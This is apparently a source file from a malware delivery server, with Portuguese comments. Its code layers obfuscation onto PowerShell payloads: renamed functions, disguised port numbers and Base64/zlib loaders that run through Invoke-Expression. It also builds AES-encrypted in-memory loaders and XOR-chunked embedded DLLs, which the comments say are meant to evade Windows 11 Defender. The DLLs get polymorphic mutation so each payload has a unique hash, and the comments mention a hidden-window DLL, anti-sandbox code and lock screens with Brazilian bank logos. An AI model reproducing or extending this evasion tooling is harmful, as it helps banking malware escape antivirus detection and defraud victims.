        new_name = 'Invoke-' + random_name(6)
        code = re.sub(rf'function\s+{re.escape(func)}\s*([{{\(])', f'function {new_name} \\1', code)
        code = re.sub(rf'(?<!["\'])\b{re.escape(func)}\b(?!["\'])', new_name, code)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 6: OFUSCAÇÃO DE TIPOS .NET (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_type_obfuscation(code):
    """v8.9: Desabilitada - ofuscação de tipos agora é feita em apply_string_encryption
    
    IMPORTANTE: Não podemos ofuscar tipos literais como [System.Net.Sockets.TcpClient]
    porque concatenação NÃO funciona dentro de colchetes de tipo!
    
    Apenas New-Object aceita concatenação no nome do tipo.
    """
    
    # v8.9: Não fazer nada aqui - a ofuscação é feita em apply_string_encryption
    # apenas para contextos de New-Object onde a concatenação funciona
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 7: REMOÇÃO DE COMENTÁRIOS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_comment_removal(code):
    """Remove comentários PowerShell (mas preserva here-strings)"""
    
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    in_block_comment = False
    
    # Comentários que devem ser preservados (novos do v7.1)
    preserve_markers = ['Anti-sandbox']
    
    for line in lines:
        stripped = line.strip()
        
        if '@"' in stripped or "@'" in stripped:
            in_herestring = True
        if '"@' in stripped or "'@" in stripped:
            in_herestring = False
        
        if '<#' in stripped and not in_herestring:
            in_block_comment = True
        if '#>' in stripped and not in_herestring:
            in_block_comment = False
            continue
        
        if in_block_comment:
            continue
        
        if not in_herestring:
            if stripped.startswith('#') and not stripped.startswith('#>'):
                # Preservar comentários importantes
                should_preserve = any(marker in stripped for marker in preserve_markers)
                if not should_preserve:
                    continue
            
            if '#' in line and not in_herestring:
                # Preservar comentários importantes
                should_preserve = any(marker in line for marker in preserve_markers)
                if not should_preserve:
                    in_string = False
                    quote_char = None
                    new_line = []
                    i = 0
                    while i < len(line):
                        c = line[i]
                        if c in '"\'':
                            if not in_string:
                                in_string = True
                                quote_char = c
                            elif c == quote_char:
                                in_string = False
                        elif c == '#' and not in_string:
                            break
                        new_line.append(c)
                        i += 1
                    line = ''.join(new_line).rstrip()
        
        new_lines.append(line)
    
    return '\n'.join(new_lines)

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 8: OFUSCAÇÃO DE NÚMEROS (v7.1 - CORRIGIDO COM REGEX)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_number_obfuscation(code):
    """Ofusca alguns números mágicos - CORRIGIDO COM REGEX"""
    
    # CORREÇÃO CRÍTICA: Ordenar do MAIOR para o MENOR
    # E usar REGEX com word boundary para evitar "1000" casar com "10000"
    numbers_to_obfuscate = [
        # Números maiores PRIMEIRO para evitar colisões!
        (10000, '(5000+5000)'),
        (8192, '(8000+192)'),
        (8080, '(8000+80)'),
        (5555, '(5000+555)'),
        (5000, '(2500+2500)'),
        (4444, '(4000+444)'),
        (4096, '(4000+96)'),
        (1024, '(1000+24)'),
        (1000, '(500+500)'),
        (443, '(400+43)'),
        (80, '(40+40)'),
    ]
    
    for num, replacement in numbers_to_obfuscate:
        # REGEX: "= 10000" mas NÃO "= 100000" nem "= 210000"
        # (?!\d) = negative lookahead - não pode ter dígito depois
        pattern = rf'(=\s*){num}(?!\d)'
        
        if re.search(pattern, code):
            code = re.sub(pattern, rf'\g<1>{replacement}', code)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 9: CÓDIGO MORTO (JUNK CODE) - DESATIVADO POR PADRÃO
# ═══════════════════════════════════════════════════════════════════════════════

def apply_junk_code(code):
    """Insere código morto em pontos estratégicos"""
    
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    protected_lines = set()
    
    for i, line in enumerate(lines):
        stripped = line.strip()
        if '@"' in stripped or "@'" in stripped:
            in_herestring = True
        if in_herestring:
            protected_lines.add(i)
            if '"@' in stripped or "'@" in stripped:
                in_herestring = False
    
    insert_points = []
    for i, line in enumerate(lines):
        if i in protected_lines:
            continue
        stripped = line.strip()
        if stripped.endswith('{') or stripped.startswith('function ') or stripped == '':
            if i > 0 and random.random() < 0.3:
                if (i + 1) not in protected_lines:
                    insert_points.append(i)
    
    insert_points = random.sample(insert_points, min(len(insert_points), CONFIG['junk_code_density']))
    
    for i, line in enumerate(lines):
        new_lines.append(line)
        if i in insert_points:
            for _ in range(random.randint(1, 3)):
                indent = len(line) - len(line.lstrip())
                junk = generate_junk_code()
                new_lines.append(' ' * indent + junk)
    
    return '\n'.join(new_lines)

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 10: COMPRESSÃO FINAL (DESATIVADO POR PADRÃO)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_final_compression(code):
    """Comprime e codifica o código final em Base64"""
    
    compressed = zlib.compress(code.encode('utf-8'), level=9)
    b64_compressed = base64.b64encode(compressed).decode()
    
    loader_var = random_var()
    decompress_var = random_var()
    
    loader = f'''# Auto-generated loader
{loader_var} = '{b64_compressed}'
{decompress_var} = [System.Text.Encoding]::UTF8.GetString(
    [System.IO.Compression.DeflateStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String({loader_var})),
        [System.IO.Compression.CompressionMode]::Decompress
    ).ToArray()
)
Invoke-Expression {decompress_var}
'''
    
    return loader

# ═══════════════════════════════════════════════════════════════════════════════
# AES ENCRYPTION (DO servidor_completo_pool.py)
# ═══════════════════════════════════════════════════════════════════════════════

def aes_encrypt_cbc(data: bytes, key: bytes, iv: bytes) -> bytes:
    """
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponível (100x mais rápido)
    Fallback para implementação pura Python se não tiver
    """
    
    if CRYPTO_FAST:
        # VERSÃO RÁPIDA - usa biblioteca cryptography
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()
    
    # VERSÃO PURA PYTHON (fallback lento)
    SBOX = [
        0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
        0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
        0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
        0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
        0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
        0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
        0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
        0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
        0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
        0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
        0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
        0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
        0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
        0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
        0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
        0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
    ]
    RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
    
    def xtime(a):
        return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
    
    def mix_single_column(a):
        t = a[0] ^ a[1] ^ a[2] ^ a[3]
        u = a[0]
        a[0] ^= t ^ xtime(a[0] ^ a[1])
        a[1] ^= t ^ xtime(a[1] ^ a[2])
        a[2] ^= t ^ xtime(a[2] ^ a[3])
        a[3] ^= t ^ xtime(a[3] ^ u)
        return a
    
    def key_expansion(key):
        key_schedule = list(key)
        for i in range(8, 60):
            temp = key_schedule[(i-1)*4:(i)*4]
            if i % 8 == 0:
                temp = temp[1:] + temp[:1]
                temp = [SBOX[b] for b in temp]
                temp[0] ^= RCON[i//8 - 1]
            elif i % 8 == 4:
                temp = [SBOX[b] for b in temp]
            key_schedule.extend([key_schedule[(i-8)*4 + j] ^ temp[j] for j in range(4)])
        return key_schedule
    
    def add_round_key(state, key_schedule, round):
        for i in range(16):
            state[i] ^= key_schedule[round*16 + i]
        return state
    
    def sub_bytes(state):
        return [SBOX[b] for b in state]
    
    def shift_rows(state):
        return [
            state[0], state[5], state[10], state[15],
            state[4], state[9], state[14], state[3],
            state[8], state[13], state[2], state[7],
            state[12], state[1], state[6], state[11]
        ]
    
    def mix_columns(state):
        for i in range(4):
            col = state[i*4:(i+1)*4]
            col = mix_single_column(col)
            state[i*4:(i+1)*4] = col
        return state
    
    def encrypt_block(block, key_schedule):
        state = list(block)
        state = add_round_key(state, key_schedule, 0)
        for round in range(1, 14):
            state = sub_bytes(state)
            state = shift_rows(state)
            state = mix_columns(state)
            state = add_round_key(state, key_schedule, round)
        state = sub_bytes(state)
        state = shift_rows(state)
        state = add_round_key(state, key_schedule, 14)
        return bytes(state)
    
    key_schedule = key_expansion(key)
    encrypted = b''
    prev_block = iv
    
    for i in range(0, len(data), 16):
        block = data[i:i+16]
        xored = bytes(a ^ b for a, b in zip(block, prev_block))
        encrypted_block = encrypt_block(xored, key_schedule)
        encrypted += encrypted_block
        prev_block = encrypted_block
    
    return encrypted


def apply_disk_encryption(code: str) -> str:
    """Criptografa o payload para ficar ilegível em disco"""
    key = os.urandom(32)
    iv = os.urandom(16)
    key_b64 = base64.b64encode(key).decode()
    iv_b64 = base64.b64encode(iv).decode()
    
    block_size = 16
    padding_len = block_size - (len(code.encode('utf-8')) % block_size)
    padded_code = code + chr(padding_len) * padding_len
    
    encrypted = aes_encrypt_cbc(padded_code.encode('utf-8'), key, iv)
    encrypted_b64 = base64.b64encode(encrypted).decode()
    encrypted_lines = [encrypted_b64[i:i+80] for i in range(0, len(encrypted_b64), 80)]
    encrypted_block = '\n'.join(encrypted_lines)
    
    v_key = random_name(6)
    v_iv = random_name(6)
    v_data = random_name(6)
    v_aes = random_name(6)
    v_dec = random_name(6)
    v_ms = random_name(6)
    v_cs = random_name(6)
    v_sr = random_name(6)
    v_plain = random_name(6)
    
    loader = f'''$ErrorActionPreference='SilentlyContinue'
${v_data}=@"
{encrypted_block}
"@
${v_key}=[Convert]::FromBase64String('{key_b64}')
${v_iv}=[Convert]::FromBase64String('{iv_b64}')
${v_aes}=[System.Security.Cryptography.Aes]::Create()
${v_aes}.Key=${v_key};${v_aes}.IV=${v_iv};${v_aes}.Mode='CBC';${v_aes}.Padding='PKCS7'
${v_dec}=${v_aes}.CreateDecryptor()
${v_ms}=[IO.MemoryStream]::new([Convert]::FromBase64String(${v_data}))
${v_cs}=[Security.Cryptography.CryptoStream]::new(${v_ms},${v_dec},'Read')
${v_sr}=[IO.StreamReader]::new(${v_cs})
${v_plain}=${v_sr}.ReadToEnd()
${v_sr}.Close();${v_cs}.Close();${v_ms}.Close();${v_aes}.Dispose()
& ([ScriptBlock]::Create(${v_plain})) @args'''
    
    return loader

# ═══════════════════════════════════════════════════════════════════════════════
# v8.1: PROTEÇÃO DE ASSEMBLIES BASE64 (Anti-W11 Defender)
# ═══════════════════════════════════════════════════════════════════════════════

def build_xor_b64_ps_block(
    b64_content: str,
    output_var: str,
    *,
    chunk_size: int = 300,
    batch_size: int = 40,
    reverse_chunk_lines: bool = True,
    direct_assign: bool = False,
) -> str:
    """
    Gera bloco PowerShell que restaura b64_content via XOR + chunks.
    v8.3: nomes unicos por indice + concat em lotes (evita corrupcao em asmC/asmG grandes).
    """
    legit_names = ['Cache', 'Config', 'Policy', 'Update', 'Module', 'Store', 'Data', 'Buffer']
    xor_key = random.randint(33, 126)
    xored_bytes = bytes([ord(c) ^ xor_key for c in b64_content])
    xored_b64 = base64.b64encode(xored_bytes).decode()
    chunks = [xored_b64[i:i + chunk_size] for i in range(0, len(xored_b64), chunk_size)]

    chunk_vars = []
    used = set()
    for idx in range(len(chunks)):
        var = '$_' + random.choice(legit_names) + random_name(5) + format(idx, 'x')
        while var in used:
            var = '$_' + random.choice(legit_names) + random_name(5) + format(idx, 'x')
        used.add(var)
        chunk_vars.append(var)

    lines = []
    indices = range(len(chunks) - 1, -1, -1) if reverse_chunk_lines else range(len(chunks))
    for i in indices:
        lines.append(f"{chunk_vars[i]}='{chunks[i]}'")

    def append_concat(vars_list):
        if len(vars_list) <= batch_size:
            concat_var = '$_' + random.choice(legit_names) + random_name(4)
            lines.append(f"{concat_var}=" + '+'.join(vars_list))
            return concat_var
        partials = []
        for batch_idx in range(0, len(vars_list), batch_size):
            batch = vars_list[batch_idx:batch_idx + batch_size]
            partial_var = '$_' + random.choice(legit_names) + random_name(4) + 'B' + format(batch_idx // batch_size, 'x')
            lines.append(f"{partial_var}=" + '+'.join(batch))
            partials.append(partial_var)
        concat_var = '$_' + random.choice(legit_names) + random_name(3)
        lines.append(f"{concat_var}=" + '+'.join(partials))
        return concat_var

    concat_var = append_concat(chunk_vars)
    key_var = '$_k' + random_name(4)
    decode_var = '$_' + random.choice(legit_names) + random_name(4)
    lines.append(f"{key_var}={xor_key}")
    lines.append(f"{decode_var}=[Convert]::FromBase64String({concat_var})")
    join_expr = f"-join({decode_var}|%{{[char]($_ -bxor {key_var})}})"
    if direct_assign:
        lines.append(f"{output_var}={join_expr}")
    else:
        result_var = '$_' + random.choice(legit_names) + random_name(4)
        lines.append(f"{result_var}={join_expr}")
        lines.append(f"{output_var}={result_var}")

    return '\n'.join(lines)


def protect_assembly_base64(code: str) -> str:
    """
    Protege assemblies Base64 contra detecção estática do W11 Defender.
    
    v8.3 - Corrige corrupcao em assemblies grandes (asmC/asmG):
    - Nomes unicos por indice (sem colisao de variaveis PS)
    - Concat em lotes de 40 (evita limite de expressao)
    """
    
    # Padrão para encontrar assemblies: $script:_asmX_b64 = 'TVqQAAMA...'
    asm_pattern = r"(\$script:_asm[A-G]_b64)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'"
    
    def protect_single_assembly(match):
        return build_xor_b64_ps_block(match.group(2), match.group(1))

    # Aplicar proteção a todos os assemblies encontrados
    protected_code = re.sub(asm_pattern, protect_single_assembly, code)

    return protected_code


def protect_inline_assembly(code: str) -> str:
    """
    Protege assemblies inline (aqueles usados diretamente em here-strings).
    Formato: [Convert]::FromBase64String('$($script:_asmF_b64)')
    """
    
    # Proteger referências em here-strings (não modificar a variável, só a referência)
    # Estas já serão protegidas pela função principal
    return code


def protect_hide_dll(code: str) -> str:
    """
    Protege a DLL de esconder janela ($_qh) que aparece inline.
    """
    
    # Padrão: $_qh='TVqQAAMA...'
    qh_pattern = r"(\$_qh)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'"
    
    def protect_qh(match):
        return build_xor_b64_ps_block(
            match.group(2),
            match.group(1),
            reverse_chunk_lines=False,
            direct_assign=True,
        )
    
    return re.sub(qh_pattern, protect_qh, code)


def _extract_asm_b64_from_source(code: str) -> dict:
    pat = r"\$script:_asm([A-G])_b64\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'"
    return {
        f"$script:_asm{m.group(1)}_b64": m.group(2)
        for m in re.finditer(pat, code.replace('\r\n', '\n'))
    }


def _iter_xor_asm_blocks(protected: str):
    protected = protected.replace('\r\n', '\n')
    pat = re.compile(r'\$script:_asm([A-G])_b64=')
    for m in pat.finditer(protected):
        var = f"$script:_asm{m.group(1)}_b64"
        assign_pos = m.start()
        line_end = protected.find('\n', assign_pos)
        if line_end < 0:
            line_end = len(protected)
        else:
            line_end += 1
        pos = protected.rfind('\n', 0, assign_pos)
        start = 0
        while pos >= 0:
            line_start = protected.rfind('\n', 0, pos) + 1
            line = protected[line_start:pos + 1].strip()
            if not line.startswith('$_'):
                start = pos + 1
                break
            if line_start == 0:
                start = 0
                break
            pos = line_start - 2
        yield var, protected[start:line_end]


def _restore_b64_from_xor_block(ps_block: str) -> str:
    """Replica a logica do bloco PS (chunks + XOR) em Python — funciona no Linux."""
    ps_block = ps_block.replace('\r\n', '\n')
    assigns = {}
    for line in ps_block.split('\n'):
        line = line.strip()
        if not line:
            continue
        m = re.match(r'^(\$[\w:]+)=(.+)$', line)
        if m:
            assigns[m.group(1)] = m.group(2).strip()

    out_m = re.search(r'(\$script:_asm[A-G]_b64)=(\S+)\s*$', ps_block.strip())
    if not out_m:
        raise ValueError('saida asm nao encontrada no bloco protegido')

    def resolve(var: str, seen=None):
        if seen is None:
            seen = set()
        if var in seen:
            raise ValueError(f'referencia circular em {var}')
        seen.add(var)
        if var not in assigns:
            raise ValueError(f'variavel indefinida no bloco: {var}')
        expr = assigns[var]

        b64conv = re.match(r'\[Convert\]::FromBase64String\((\$_\w+)\)', expr)
        if b64conv:
            raw = resolve(b64conv.group(1), seen)
            if not isinstance(raw, str):
                raise ValueError(f'base64 invalido antes de FromBase64String: {var}')
            return base64.b64decode(raw)

        join_m = re.match(
            r'-join\((\$_\w+)\|%\{\[char\]\(\$_ -bxor (\$_\w+)\)\}\)',
            expr,
        )
        if join_m:
            data = resolve(join_m.group(1), seen)
            if not isinstance(data, (bytes, bytearray)):
                raise ValueError(f'bytes esperados antes do -join: {var}')
            key = int(resolve(join_m.group(2), seen))
            return ''.join(chr(b ^ key) for b in data)

        if expr.startswith("'") and expr.endswith("'"):
            return expr[1:-1]

        if re.fullmatch(r'-?\d+', expr):
            return expr

        if '+' in expr:
            parts = []
            for part in expr.split('+'):
                val = resolve(part.strip(), seen)
                if not isinstance(val, str):
                    raise ValueError(f'chunk nao textual em {var}')
                parts.append(val)
            return ''.join(parts)

        if expr in assigns:
            return resolve(expr, seen)

        # Suporte a concatenacao: "$a + $b" ou "$a + 'literal'"
        plus_m = re.match(r'^([^+]+)\s*\+\s*(.+)$', expr)
        if plus_m:
            left = resolve(plus_m.group(1).strip(), seen)
            right = resolve(plus_m.group(2).strip(), seen)
            if isinstance(left, str) and isinstance(right, str):
                return left + right
            raise ValueError(f'concatenacao invalida em {var}: tipos incompativeis')

        raise ValueError(f'expressao nao suportada em {var}: {expr[:80]}')

    result = resolve(out_m.group(2))
    if not isinstance(result, str):
        raise ValueError('bloco XOR nao produziu string base64')
    return result


def validate_protected_assemblies(source_before_protect: str, protected: str) -> None:
    """
    v8.3: Decodifica blocos XOR em Python e compara com o b64 original.
    Impede servir asmC/asmG corrompidos (logos/banners das travas BB/Caixa).
    """
    expected = _extract_asm_b64_from_source(source_before_protect)
    if not expected:
        return

    blocks = dict(_iter_xor_asm_blocks(protected))
    for var, b64 in expected.items():
        block = blocks.get(var)
        if not block:
            raise ValueError(f"bloco XOR ausente para {var}")
        try:
            restored = _restore_b64_from_xor_block(block)
        except Exception as e:
            raise ValueError(f"validacao XOR falhou em {var}: {e}") from e
        if restored != b64:
            raise ValueError(f"assembly corrompido apos XOR: {var} (conteudo diverge)")

        if var == '$script:_asmG_b64':
            raw = base64.b64decode(b64)
            jpeg_pat = '/9j/'.encode('utf-16le')
            png_pat = 'iVBORw0KGgo'.encode('utf-16le')
            jpeg_n = raw.count(jpeg_pat)
            png_n = raw.count(png_pat)
            if jpeg_n < 1 or png_n < 2:
                raise ValueError(
                    f"asmG sem assets de trava (jpeg={jpeg_n}, png={png_n}); logos/banners ausentes"
                )


# ═══════════════════════════════════════════════════════════════════════════════
# v9.5 - POLIMORFISMO DE DLLs EMBUTIDAS (mutação cirúrgica, IL intacta)
# ═══════════════════════════════════════════════════════════════════════════════

def _pe_timestamp_offset(raw: bytes) -> Optional[int]:
    """
    Offset do campo TimeDateStamp do cabeçalho COFF (PE sig + 8).
    (NÃO é o offset 8 do arquivo — isso é cabeçalho DOS.)
    """
    if len(raw) < 0x40 or raw[:2] != b'MZ':
        return None
    pe = int.from_bytes(raw[0x3C:0x40], 'little')
    if pe + 12 > len(raw) or raw[pe:pe + 4] != b'PE\x00\x00':
        return None
    return pe + 8


def _find_guid_heap_offset(raw: bytes) -> Optional[int]:
    """
    Localiza o heap '#GUID' dos metadados .NET (ECMA-335 II.24.2.1) e retorna
    o offset ABSOLUTO (no arquivo) do primeiro GUID — o MVID do módulo.
    Retorna None se o parsing falhar (a mutação segue só com timestamp+junk).
    """
    root = raw.find(b'BSJB')
    if root < 0 or len(raw) < root + 24:
        return None
    try:
        ver_len = int.from_bytes(raw[root + 12:root + 16], 'little')
        pos = (root + 16 + ver_len + 3) & ~3          # versão alinhada em 4 bytes
        n_streams = int.from_bytes(raw[pos + 2:pos + 4], 'little')
        pos += 4                                       # pula flags(2) + n_streams(2)
        for _ in range(n_streams):
            off = int.from_bytes(raw[pos:pos + 4], 'little')
            size = int.from_bytes(raw[pos + 4:pos + 8], 'little')
            pos += 8
            nul = raw.index(b'\x00', pos)
            name = raw[pos:nul]
            pos = (nul + 1 + 3) & ~3                   # nome alinhado em 4 bytes
            if name == b'#GUID':
                if size < 16:
                    return None
                return root + off
    except (ValueError, IndexError):
        return None
    return None


def _mutate_dotnet_dll(raw: bytes) -> bytes:
    """
    Mutação binária cirúrgica de uma DLL .NET (IL 100% intacta):
      1) PE TimeDateStamp — campo cosmético do cabeçalho COFF;
      2) MVID — primeiro GUID (16 bytes) do heap '#GUID' (fingerprint do
         módulo, usado apenas por símbolos/debug);
      3) Junk após o fim da imagem PE — o CLR ignora bytes excedentes
         (mesmo lugar onde o Authenticode anexa assinaturas).
    Verificado: as 8 DLLs embutidas não são strong-named (PKT vazio) e o
    loader usa [Reflection.Assembly]::Load(bytes) sem checagem de hash →
    mutações transparentes em runtime.
    """
    b = bytearray(raw)
    # 1) PE TimeDateStamp — janela plausível (set/2020 a jun/2026, unix)
    t = _pe_timestamp_offset(raw)
    if t is not None:
        ts = random.SystemRandom().randrange(1600000000, 1782000000)
        b[t:t + 4] = ts.to_bytes(4, 'little')
    # 2) MVID no heap #GUID
    g = _find_guid_heap_offset(bytes(b))
    if g is not None and g + 16 <= len(b):
        b[g:g + 16] = os.urandom(16)
    # 3) Junk pós-PE (96 a 640 bytes)
    b += os.urandom(random.SystemRandom().randrange(96, 641))
    return bytes(b)


def mutate_embedded_dlls(code: str) -> str:
    """
    v9.5 POLIMORFISMO DE DLLs: aplica _mutate_dotnet_dll() nas DLLs .NET
    embutidas no payload ($script:_asmA..G_b64 + $_qh), re-encodando o base64.

    - Opera na cópia em memória de cada payload (msedge.txt em disco intacto);
    - IL intacta → mesmo comportamento, SHA256 único por payload gerado;
    - Roda ANTES de protect_assembly_base64/protect_hide_dll para que
      validate_protected_assemblies() valide as DLLs JÁ mutadas (prova de
      integridade integrada a cada payload gerado);
    - Defensivo: falha de decode/parse deixa a DLL original intacta.
    """
    def mutate_b64(b64: str) -> str:
        try:
            raw = base64.b64decode(b64, validate=True)
        except Exception:
            return b64
        if len(raw) < 64 or raw[:2] != b'MZ':
            return b64
        try:
            return base64.b64encode(_mutate_dotnet_dll(raw)).decode('ascii')
        except Exception:
            return b64

    def repl(m):
        return m.group(1) + "='" + mutate_b64(m.group(2)) + "'"

    code = re.sub(r"(\$script:_asm[A-G]_b64)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'", repl, code)
    code = re.sub(r"(\$_qh)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'", repl, code)
    return code


# ═══════════════════════════════════════════════════════════════════════════════
# FUNÇÃO PRINCIPAL DE PROTEÇÃO (COMBINADA v8.1 - Anti-W11)
# ═══════════════════════════════════════════════════════════════════════════════

def protect_code_complete(code: str, config: dict = None) -> Tuple[str, Optional[str], Optional[str]]:
    """
    Aplica TODAS as camadas de proteção do proteger.py v8.1.
    Esta função é thread-safe (não usa estado global mutável).
    
    v8.1: Adicionada proteção de assemblies contra W11 Defender
    v9.4 (bug 1): retorna (code, key_id, key_b64) em vez de depositar a chave
    AES no global _aes_pending_keys — elimina a race entre threads geradoras.
    key_id/key_b64 são None quando enable_aes_encryption=False.
    """
    if config is None:
        config = CONFIG.copy()
    
    # Remover BOM UTF-8 se presente (causa erro de sintaxe no PowerShell)
    if code.startswith('\ufeff'):
        code = code[1:]
    
    # Normalizar line endings para LF antes do processamento
    # e converter de volta para CRLF no final (Windows)
    original_has_crlf = '\r\n' in code
    code = code.replace('\r\n', '\n')
    
    # Criar cópia local do project_config para thread-safety
    project_config = {
        'sensitive_ips': [],
        'sensitive_domains': [],
        'server_port': 0,
    }
    
    # =========================================================================
    # PROTEGER HERE-STRINGS COM CÓDIGO C# ANTES DE QUALQUER TRANSFORMAÇÃO
    # Estas strings contêm código compilado e NÃO devem ser modificadas
    # =========================================================================
    herestring_placeholders = {}
    
    # Padrão para here-strings: @' ... '@ ou @" ... "@
    # Captura here-strings que contêm código C# (class, DllImport, using System, etc)
    def extract_herestrings(code_str):
        placeholders = {}
        placeholder_idx = [0]
        
        # Encontrar here-strings com código C# crítico
        # Padrão: variavel = @' ou @" seguido de conteúdo até '@ ou "@
        patterns = [
            # Here-strings com aspas simples
            (r"(\$script:_dxgiWorkerSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)", 'dxgi'),
            (r"(\$script:_dpiDxgiSrc\s*=\s*@')([^']*(?:'(?!@)[^']*)*?)('@)", 'dpi'),
            (r"(\$NativeCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)", 'native'),
            (r"(\$SpawnerCode\s*=\s*@\")([^\"]*(?:\"(?!@)[^\"]*)*)(\"\@)", 'spawner'),
        ]
        
        for pattern, name in patterns:
            match = re.search(pattern, code_str, re.DOTALL)
            if match:
                full_match = match.group(0)
                placeholder = f"__HERESTRING_{name.upper()}_{placeholder_idx[0]}__"
                placeholders[placeholder] = full_match
                code_str = code_str.replace(full_match, placeholder, 1)
                placeholder_idx[0] += 1
        
        return code_str, placeholders
    
    code, herestring_placeholders = extract_herestrings(code)
    
    # =========================================================================
    # v9.5: POLIMORFISMO DE DLLs — mutação cirúrgica (MVID+TimeDateStamp+junk).
    # Roda ANTES do XOR para que validate_protected_assemblies() valide as
    # DLLs já mutadas (integridade provada a cada payload gerado).
    # =========================================================================
    if config.get('enable_dll_mutation', True):
        code = mutate_embedded_dlls(code)

    # =========================================================================
    # v8.1: PROTEGER ASSEMBLIES BASE64 CONTRA W11 DEFENDER
    # Aplicar ANTES de outras transformações para não quebrar o código
    # =========================================================================
    asm_before_xor = code
    code = protect_assembly_base64(code)
    code = protect_hide_dll(code)
    validate_protected_assemblies(asm_before_xor, code)
    
    # Detectar valores sensíveis
    code = detect_sensitive_values(code, project_config)
    
    # v8.7: Ofuscação de strings SEGURA (só em contextos de atribuição)
    code = apply_string_encryption(code, project_config)
    
    # =========================================================================
    # RESTAURAR HERE-STRINGS PROTEGIDOS ANTES DA CRIPTOGRAFIA FINAL
    # =========================================================================
    for placeholder, original in herestring_placeholders.items():
        code = code.replace(placeholder, original)
    
    # =========================================================================
    # v8.0: AES-256-CBC + CHAVE REMOTA (camada final)
    # v9.4 (bug 1): chave retornada ao chamador — sem estado global compartilhado
    # =========================================================================
    key_id = None
    key_b64 = None
    if config.get('enable_aes_encryption', True):
        code, key_id, key_b64 = apply_aes_loader(code, config)
    
    # Criptografia em disco (arquivo ilegível)
    if config.get('enable_disk_encrypt', False):
        code = apply_disk_encryption(code)
    else:
        # Header do arquivo protegido
        pass
    
    # Converter de volta para CRLF se o original tinha CRLF (Windows)
    if original_has_crlf:
        code = code.replace('\n', '\r\n')
    
    return code, key_id, key_b64

# ═══════════════════════════════════════════════════════════════════════════════
# SISTEMA DE POOL (PRÉ-GERAÇÃO DE CÓDIGOS) - ZERO PERDA DE CLIENTES
# ═══════════════════════════════════════════════════════════════════════════════

# v9.4 (bug 1): global _aes_pending_keys removido - chaves AES agora viajam no
# retorno de protect_code_complete (elimina a race entre threads geradoras)

class CodePool:
    """
    Pool de códigos pré-gerados.
    - Gera códigos em background
    - Cliente recebe código instantâneo
    - ZERO perda de clientes
    """
    
    def __init__(self):
        self.pools: Dict[str, deque] = {}
        self.key_pools: Dict[str, deque] = {}
        self.source_cache: Dict[str, str] = {}
